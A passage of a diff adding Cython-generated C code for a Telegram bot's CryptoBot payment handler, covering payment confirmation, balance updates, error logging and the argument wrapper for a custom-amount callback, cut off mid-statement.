(exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 174, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":175 + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_12 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_12 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":176 + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 176, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 176, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":177 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 177, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 177, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L12_try_end; + __pyx_L7_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":178 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * else: + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_6, &__pyx_t_3) < 0) __PYX_ERR(0, 178, __pyx_L9_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":179 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * else: + * logger.warning(f" : {payload}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_15))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_15); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_15); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_15, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_16}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":178 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * else: + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L22; + } + __pyx_L21_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_14 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L9_except_error; + } + __pyx_L22:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L8_exception_handled; + } + goto __pyx_L9_except_error; + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + __pyx_L9_except_error:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L1_error; + __pyx_L8_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + __pyx_L12_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":168 + * + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": # <<<<<<<<<<<<<< + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + */ + goto __pyx_L4; + } + + /* "handlers/payments/cryprobot_pay.py":181 + * logger.error(f" user_id amount: {e}") + * else: + * logger.warning(f" : {payload}") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payload, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__25, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_4}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 184, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 184, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 184, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 184, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 184, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 184, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = 